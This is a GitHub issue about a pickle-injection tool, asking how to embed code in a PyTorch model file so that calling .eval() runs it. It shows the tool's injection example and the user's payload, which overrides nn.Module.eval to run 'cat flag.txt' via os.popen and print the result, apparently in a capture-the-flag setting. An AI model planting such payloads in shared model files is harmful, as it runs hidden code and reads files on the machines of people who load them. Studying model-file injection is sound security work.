Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

How do I inject a code that overrides the eval function using inject_payload #124

Open
ennomya opened this issue Jan 1, 2025 · 0 comments

Comments

@ennomya
Copy link

ennomya commented Jan 1, 2025

Based on the example provided:

result = PyTorchModelWrapper("mobilenet.pth")

# Inject payload, overwriting the existing file instead of creating a new one
temp_filename = "temp_filename.pt"
result.inject_payload(
    "print('!!!!!!Never trust a pickle!!!!!!')",
    temp_filename,
    injection="insertion",
    overwrite=True,
)

# Load file with injected payload
torch.load("mobilenet.pth")

This code prints "!!!!!!Never trust a pickle!!!!!!" when loading the model, what if i want to override the .eval() function of the model and execute a code whenever .eval() is called.

I tried this but it kept calling it recursively and crashing:

cmd = """
import torch.nn as nn
import os

def custom_eval(self):
    string = os.popen('cat flag.txt').read().strip()
    print(f'The content of flag.txt is:\\n{string}')
    super(type(self), self).eval()

nn.Module.eval = custom_eval  # Override globally (or target specific classes)
"""
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant